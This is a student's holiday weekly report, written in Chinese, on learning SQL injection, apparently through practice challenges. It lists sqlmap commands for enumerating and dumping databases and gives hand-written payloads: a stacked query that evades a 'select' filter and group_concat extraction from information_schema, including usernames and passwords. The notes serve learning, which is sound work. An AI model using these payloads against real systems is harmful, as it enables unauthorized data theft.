假期周报

学习了SQL注入

总结

1.使用sqlmap工具

主要还是执行语句，先查看数据库，然后进入数据库看表，表中看列，然后查看字段

- `sqlmap -u + url/?id=1`
- 这个会查看是否存在sql注入

然后查询数据库名

- `sqlmap -u "url/?id=1" --dbs --batch`
- 这个会显示数据库名

然后进入数据库查询表名

- `sqlmap -u "url/?id=1" -D 数据库名 --tables --batch`

然后查询字段

- `sqlmap -u "url/?id=1" -D 数据库名 -T 表名 --columns --batch`

然后查数据

- `sqlmap -u "url/?id=1" -D 数据库名 -T 表名 -C 字段名 --dump --batch`

2.正常注入

select被过滤了如何查看，查看列的内容

1';Set @sql = CONCAT('se','lect * from *column的名*;');prepare stmt from @sql;EXECUTE stmt;#

意思是拼接select然后把语句当成个命令，执行它

爆破数据库名

database()

爆破表名

group_concat(table_name) from information_schema.tables where table_schema=database()

爆破字段名

group_concat(column_name) from information_schema.columns where table_name='表格名'

获取字段值

group_concat(id,username,password) from geekuser

注入点不限于登录界面，还有在cookie，refer内容上注入的，可以通过burpsuite尝试，通过回显判断是否存在SQL注入

做了一些关于SQL注入的题，对于这方面有基本的了解了